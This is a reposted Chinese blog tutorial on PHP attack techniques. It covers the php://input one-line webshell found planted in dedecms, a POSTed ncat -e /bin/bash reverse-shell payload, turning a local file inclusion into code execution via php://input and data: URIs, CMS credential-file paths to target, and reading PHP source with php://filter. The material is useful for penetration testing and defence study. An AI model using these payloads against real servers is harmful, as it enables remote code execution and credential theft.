一、php://input一句話木馬
在調研dedecms的歷史漏洞時,發現了dedecms安裝文件曾經出過被植入后門的漏洞(SSV-ID站點include目錄下shopcar.class.php文件被植入一句話木馬)
@eval(file_get_contents(‘php://input’))
我是個十足的php菜鳥,只有用到的時候才會去查查語法書,對php://input也只是有點印象而已,於是用腳本phpinput.php,配合firefox Hackbar插件測試了一下php://input的功能
|
發現php://input是用來接收post數據(這里有php://input的介紹)
注釋掉phpinput.php的打印語句
<?php @eval(file_get_contents('php://input'))?>
使用firefox的hackbar提交上圖顯示的post data
system('ncat -e /bin/bash localhost 1234');
測試了一下nc反彈shell的利用,成功
看來,只要構造了合適的POST數據,就能達到getshell的目的。
二、php://input將文件包含漏洞變成代碼執行漏洞
頓時覺得php://input好神奇,於是進一步搜索它還能發揮哪些作用。
在這里感謝Casperkid大牛的文章《php LFI讀php文件源碼以及直接post webshell》,我才知道文件包含可以這樣深入。
接下來,演示TA是如何將文件包含漏洞轉變成代碼執行的漏洞。方法參考LFI exploitation via php://input
首先看一段存在文件包含漏洞的代碼
<?php @include($_GET["file"])?>
我們使用php://input,將執行代碼通過Firefox 的hackbar 在POST data中提交
<?php system('ifconfig');?>
看,文件包含漏洞變成代碼執行漏洞了
三、data URI schema將文件包含漏洞變成代碼執行漏洞並繞過360網站衛士的WAF
那還有哪些辦法,可以同樣做到代碼執行呢,Casperkid大牛的文章中提到,data URI schema的使用就可以達到這樣的效果。
data URI schema,我曾經在做釣魚的練習中,將攻擊代碼生成這種格式並配合短地址轉換來生成惡意url,見《利用iframe URI釣魚》,但沒想到可以用在文件包含漏洞中。
接下來演示如何實施。
在實施的時候,我突然想到,文件包含漏洞,在讀取php文件時,是不能顯示文件內容的。
而很多情況,我們是急需讀取PHP格式的配置文件,例如
dedecms數據庫配置文件data/common.inc.php
discuz全局配置文件config/config_global.php
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
以便下一步滲透測試
於是我寫了一段讀取指定文件FileInclude.php的代碼
1 |
<?php system( 'cat /var/www/FileInclude.php' )?> |
然后將攻擊代碼轉化成data:URI,
1 |
data:text/plain,<?php system( 'cat /var/www/FileInclude.php' )?> |
運行,如下
注意,我們看到轉化后的GET請求的參數中包含
四、php://filter在文件包含漏洞中的利用——讀取php文件源碼內容
經過上面的操作,我們知道php://input與data:URI schema可以將文件包含漏洞變成代碼執行漏洞從而getshell。接下來看看php://input的好基友php://filter能做什么呢
參考LFI’s Exploitation Techniques,我們可以采用php://filter以base64編碼的方式讀取指定文件的內容
1 |
php: //filter/read=convert.base64-encode/resource=[文件路徑] |
下面演示通過php://filter讀取本包含漏洞腳本的源碼
接下來只要將base64編碼后的字符串通過base64解碼就可得到PHP文件的源碼了
參考:
LFI’s Exploitation Techniques.
http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html
http://hi.baidu.com/qingsh4n/item/92ffa87281e7ee226cc37cc7
http://hi.baidu.com/casperkid/item/2baf952b13a9cd0e76272cb0
http://www.php.net/manual/zh/wrappers.php.php
轉自:http://danqingdani.blog.163.com/blog/static/1860941952013993810261/
本文鏈接地址: php://input,php://filter,data URI schema的那些事
原創文章,轉載請注明: 轉載自Lz1y's Blog